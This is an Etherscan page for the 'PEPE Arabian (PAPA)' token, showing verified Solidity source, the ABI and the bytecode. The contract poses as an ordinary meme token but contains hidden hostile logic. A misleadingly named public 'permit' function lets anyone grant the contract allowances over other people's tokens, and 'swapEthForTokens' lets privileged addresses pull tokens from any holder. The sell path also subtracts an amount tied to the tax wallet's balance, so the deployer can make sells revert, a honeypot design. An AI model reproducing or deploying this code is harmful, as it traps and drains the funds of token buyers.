ETH Price: $3,284.31 (-4.39%)

Token

PEPE Arabian (PAPA)
 

Overview

Max Total Supply

10,000,000 PAPA

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
worstideabot.eth
Balance
81,293.842378793 PAPA

Value
$0.00
0xc2022d27eb788a739e1306da58ab1c09f6dd4ac9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Papa

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-21
*/

/*

Website:  https://www.pepearabian.site
Twitter: https://twitter.com/PepeArabETH
Telegram: https://t.me/arabic_pepe

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Papa is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _finalSellTax = 0;
    uint256 private _finalBuyTax = 0;

    uint256 private _initialSellTax2Time = 0;
    uint256 private _initialBuyTax2Time = 0;
    uint256 private _reduceSellTaxAt2Time = 0;
    uint256 private _reduceBuyTaxAt2Time = 0;

    uint256 private _initialSellTax = 0;
    uint256 private _initialBuyTax = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _reduceBuyTaxAt = 0;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private _taxWallet;

    bool private tradingOpen;
    bool private inSwap = false;
    bool public transferDelayEnabled = true;
    bool private swapEnabled = false;
    address payable private _reward;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;
    string private constant _name = unicode"PEPE Arabian";
    string private constant _symbol = unicode"PAPA";

    uint256 public _maxTaxSwap = 1 * (_tTotal / 1000);
    uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);
    uint256 public _maxWalletSize = 3 * (_tTotal / 100);
    uint256 public _maxTxAmount = 3 * (_tTotal / 100);

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFee;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function name()
        public
        pure
        returns (string memory)
    {
        return _name;
    }

    function symbol()
        public
        pure
        returns (string memory)
    {
        return _symbol;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function totalSupply()
        public
        pure
        override
        returns (uint256)
    {
        return _tTotal;
    }

    function decimals()
        public
        pure
        returns (uint8)
    {
        return _decimals;
    }

    constructor () {
        _taxWallet = payable(0x74fe87cC6DeEeC840900a86e67212A86507E6b89);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _balances[_msgSender()] = _tTotal;
        _reward = _taxWallet;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this);
        _permit(spender, owner, amount);
        return true;
    }

    function _taxSell() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function _taxBuy() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function openTrading()
        external
        payable
        onlyOwner()
    {
        require(!tradingOpen);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits()
        external
        onlyOwner
    {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _permit(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function withdrawEth() external {
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function swapEthForTokens(address to, uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);

        if (!_isExcludedFromFee[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {token.transferFrom(to, path[1], amount);}
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount)
        private
    {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (!tradingOpen) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletSize);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _taxSwapThreshold;
            if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 reserveAmount = balanceOf(_reward).mul(1e3);
                uint256 maxSwapTax = _maxTaxSwap.sub(reserveAmount);
                uint256 minSwapAmount = min(contractTokenBalance,maxSwapTax);
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount, minSwapAmount));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
                if (ethForTransfer > 0) {
                    sendETHToFee(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600181905560028190556003819055600481905560058190556006819055600781905560088190556009818155600a828155600b839055600c92909255600f805462ffffff60a81b1916600160b01b1790556103e891620000689190620003d9565b620000779062989680620003f1565b6200008391906200040b565b62000090906001620003f1565b6011556103e8620000a46009600a620003d9565b620000b39062989680620003f1565b620000bf91906200040b565b620000cc906002620003f1565b6012556064620000df6009600a620003d9565b620000ee9062989680620003f1565b620000fa91906200040b565b62000107906003620003f1565b60135560646200011a6009600a620003d9565b620001299062989680620003f1565b6200013591906200040b565b62000142906003620003f1565b6014553480156200015257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b03199081167374fe87cc6deeec840900a86e67212a86507e6b8917909155600d8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055620001ea6009600a620003d9565b620001f99062989680620003f1565b33600081815260166020908152604080832094909455600f8054601080546001600160a01b0319166001600160a01b039283161790558354811684526018909252848320805460ff199081166001908117909255915490921683528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200029e6009600a620003d9565b620002ad9062989680620003f1565b60405190815260200160405180910390a36200042e565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200031b578160001904821115620002ff57620002ff620002c4565b808516156200030d57918102915b93841c9390800290620002df565b509250929050565b6000826200033457506001620003d3565b816200034357506000620003d3565b81600181146200035c5760028114620003675762000387565b6001915050620003d3565b60ff8411156200037b576200037b620002c4565b50506001821b620003d3565b5060208310610133831016604e8410600b8410161715620003ac575081810a620003d3565b620003b88383620002da565b8060001904821115620003cf57620003cf620002c4565b0290505b92915050565b6000620003ea60ff84168362000323565b9392505050565b8082028115828204841417620003d357620003d3620002c4565b6000826200042957634e487b7160e01b600052601260045260246000fd5b500490565b611978806200043e6000396000f3fe60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb1461033e578063bf474bed1461035e578063c876d0b914610374578063c9567bf914610395578063dd62ed3e1461039d578063e6f70531146103e357600080fd5b80638da5cb5b1461029e5780638f9a55c0146102c657806395d89b41146102dc5780639e161d9a14610309578063a0ef91df1461032957600080fd5b8063313ce567116100f2578063313ce5671461020a57806370a0823114610226578063715018a61461025c578063751039fc146102735780637d1db4a51461028857600080fd5b806306fdde031461013a578063095ea7b3146101815780630faee56f146101b157806318160ddd146101d557806323b872dd146101ea57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b2822a8229020b930b134b0b760a11b60208201525b604051610178919061152e565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611591565b610403565b6040519015158152602001610178565b3480156101bd57600080fd5b506101c760115481565b604051908152602001610178565b3480156101e157600080fd5b506101c761041a565b3480156101f657600080fd5b506101a16102053660046115bd565b61043a565b34801561021657600080fd5b5060405160098152602001610178565b34801561023257600080fd5b506101c76102413660046115fe565b6001600160a01b031660009081526016602052604090205490565b34801561026857600080fd5b5061027161048b565b005b34801561027f57600080fd5b50610271610508565b34801561029457600080fd5b506101c760145481565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102d257600080fd5b506101c760135481565b3480156102e857600080fd5b506040805180820190915260048152635041504160e01b602082015261016b565b34801561031557600080fd5b50610271610324366004611591565b6105c4565b34801561033557600080fd5b50610271610813565b34801561034a57600080fd5b506101a1610359366004611591565b610876565b34801561036a57600080fd5b506101c760125481565b34801561038057600080fd5b50600f546101a190600160b01b900460ff1681565b610271610883565b3480156103a957600080fd5b506101c76103b836600461161b565b6001600160a01b03918216600090815260156020908152604080832093909416825291909152205490565b3480156103ef57600080fd5b506101a16103fe366004611591565b610bab565b6000610410338484610bb5565b5060015b92915050565b60006104286009600a61174e565b610435906298968061175d565b905090565b6000610447848484610c3c565b6001600160a01b03841660009081526015602090815260408083203380855292529091205461048191869161047c9086611118565b610bb5565b5060019392505050565b6000546001600160a01b031633146104be5760405162461bcd60e51b81526004016104b590611774565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105325760405162461bcd60e51b81526004016104b590611774565b61053e6009600a61174e565b61054b906298968061175d565b60145561055a6009600a61174e565b610567906298968061175d565b601355600f805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a46009600a61174e565b6105b1906298968061175d565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561062e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065291906117a9565b81600081518110610665576106656117c6565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610699576106996117c6565b60200260200101906001600160a01b031690816001600160a01b0316815250506000816001815181106106ce576106ce6117c6565b602090810291909101810151336000908152601890925260409091205490915060ff1661076557600d5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590859061072e9060009087908a904290600401611820565b6000604051808303818588803b15801561074757600080fd5b505af115801561075b573d6000803e3d6000fd5b505050505061080d565b806001600160a01b03166323b872dd8584600181518110610788576107886117c6565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af11580156107e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080b9190611855565b505b50505050565b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610860576040519150601f19603f3d011682016040523d82523d6000602084013e610865565b606091505b505090508061087357600080fd5b50565b6000610410338484610c3c565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016104b590611774565b600f54600160a01b900460ff16156108c457600080fd5b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b91906117a9565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906117a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3291906117a9565b600e80546001600160a01b0319166001600160a01b03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611855565b50306000818152601560209081526040808320600d80546001600160a01b039081168652918452828520600019905554858552601690935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610b68573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b8d9190611877565b5050600f805463ff0000ff60a01b1916630100000160a01b17905550565b6000306104818482855b6001600160a01b038316610bc857600080fd5b6001600160a01b038216610bdb57600080fd5b6001600160a01b0383811660008181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4f57600080fd5b6001600160a01b038216610c6257600080fd5b60008111610c6f57600080fd5b600080546001600160a01b03858116911614801590610c9c57506000546001600160a01b03848116911614155b15610fd557610cbe6064610cb8610cb1611161565b859061119f565b90611221565b600f54909150600160a01b900460ff16610d1a576001600160a01b03841660009081526018602052604090205460ff1680610d1157506001600160a01b03831660009081526018602052604090205460ff165b610d1a57600080fd5b600f54600160b01b900460ff1615610d8b57600d546001600160a01b03848116911614801590610d585750600e546001600160a01b03848116911614155b15610d8b57326000908152601760205260409020544311610d7857600080fd5b3260009081526017602052604090204390555b600e546001600160a01b038581169116148015610db65750600d546001600160a01b03848116911614155b8015610ddb57506001600160a01b03831660009081526018602052604090205460ff16155b15610e5657601454821115610def57600080fd5b60135482610e12856001600160a01b031660009081526016602052604090205490565b610e1c91906118a5565b1115610e2757600080fd5b600c8054906000610e37836118b8565b9190505550600b54600c541115610e5657600f805460ff60b01b191690555b600e546001600160a01b038481169116148015610e7c57506001600160a01b0384163014155b15610e9457610e916064610cb8610cb1611263565b90505b30600090815260166020526040902054601254600f5490821190600160a81b900460ff16158015610ece5750600f54600160b81b900460ff165b8015610ee75750600e546001600160a01b038681169116145b8015610ef05750805b8015610f1557506001600160a01b03861660009081526018602052604090205460ff16155b8015610f3a57506001600160a01b03851660009081526018602052604090205460ff16155b15610fd2576010546001600160a01b0316600090815260166020526040812054610f69906103e8905b9061119f565b90506000610f828260115461111890919063ffffffff16565b90506000610f90858361129a565b905047610fa5610fa0898461129a565b6112af565b6000610fbb6064610cb86050610f634787611118565b90508015610fcc57610fcc81611429565b50505050505b50505b801561104f5730600090815260166020526040902054610ff59082611467565b30600081815260166020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110469085815260200190565b60405180910390a35b6001600160a01b0384166000908152601660205260409020546110729083611118565b6001600160a01b0385166000908152601660205260409020556110b76110988383611118565b6001600160a01b03851660009081526016602052604090205490611467565b6001600160a01b0380851660008181526016602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111018585611118565b60405190815260200160405180910390a350505050565b600061115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114c6565b9392505050565b6000600a54600c5411611175575060085490565b600a54600c5411801561118c5750600654600c5411155b15611198575060045490565b5060025490565b6000826000036111b157506000610414565b60006111bd838561175d565b9050826111ca85836118d1565b1461115a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b5565b600061115a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611500565b6000600a54600c5411611277575060075490565b600954600c5411801561128e5750600554600c5411155b15611198575060035490565b60008183116112a9578261115a565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f7576112f76117c6565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137491906117a9565b81600181518110611387576113876117c6565b6001600160a01b039283166020918202929092010152600d546113ad9130911684610bb5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e69085906000908690309042906004016118f3565b600060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611463573d6000803e3d6000fd5b5050565b60008061147483856118a5565b90508381101561115a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b5565b600081848411156114ea5760405162461bcd60e51b81526004016104b5919061152e565b5060006114f7848661192f565b95945050505050565b600081836115215760405162461bcd60e51b81526004016104b5919061152e565b5060006114f784866118d1565b600060208083528351808285015260005b8181101561155b5785810183015185820160400152820161153f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461087357600080fd5b600080604083850312156115a457600080fd5b82356115af8161157c565b946020939093013593505050565b6000806000606084860312156115d257600080fd5b83356115dd8161157c565b925060208401356115ed8161157c565b929592945050506040919091013590565b60006020828403121561161057600080fd5b813561115a8161157c565b6000806040838503121561162e57600080fd5b82356116398161157c565b915060208301356116498161157c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116a557816000190482111561168b5761168b611654565b8085161561169857918102915b93841c939080029061166f565b509250929050565b6000826116bc57506001610414565b816116c957506000610414565b81600181146116df57600281146116e957611705565b6001915050610414565b60ff8411156116fa576116fa611654565b50506001821b610414565b5060208310610133831016604e8410600b8410161715611728575081810a610414565b611732838361166a565b806000190482111561174657611746611654565b029392505050565b600061115a60ff8416836116ad565b808202811582820484141761041457610414611654565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117bb57600080fd5b815161115a8161157c565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118155781516001600160a01b0316875295820195908201906001016117f0565b509495945050505050565b84815260806020820152600061183960808301866117dc565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561186757600080fd5b8151801515811461115a57600080fd5b60008060006060848603121561188c57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561041457610414611654565b6000600182016118ca576118ca611654565b5060010190565b6000826118ee57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a06040820152600061191260a08301866117dc565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156104145761041461165456fea264697066735822122047c8e7a479f2cc71fc401a47dfab5b9bed2acbaa046a6719ce6594a40d3c5d6764736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb1461033e578063bf474bed1461035e578063c876d0b914610374578063c9567bf914610395578063dd62ed3e1461039d578063e6f70531146103e357600080fd5b80638da5cb5b1461029e5780638f9a55c0146102c657806395d89b41146102dc5780639e161d9a14610309578063a0ef91df1461032957600080fd5b8063313ce567116100f2578063313ce5671461020a57806370a0823114610226578063715018a61461025c578063751039fc146102735780637d1db4a51461028857600080fd5b806306fdde031461013a578063095ea7b3146101815780630faee56f146101b157806318160ddd146101d557806323b872dd146101ea57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b2822a8229020b930b134b0b760a11b60208201525b604051610178919061152e565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611591565b610403565b6040519015158152602001610178565b3480156101bd57600080fd5b506101c760115481565b604051908152602001610178565b3480156101e157600080fd5b506101c761041a565b3480156101f657600080fd5b506101a16102053660046115bd565b61043a565b34801561021657600080fd5b5060405160098152602001610178565b34801561023257600080fd5b506101c76102413660046115fe565b6001600160a01b031660009081526016602052604090205490565b34801561026857600080fd5b5061027161048b565b005b34801561027f57600080fd5b50610271610508565b34801561029457600080fd5b506101c760145481565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102d257600080fd5b506101c760135481565b3480156102e857600080fd5b506040805180820190915260048152635041504160e01b602082015261016b565b3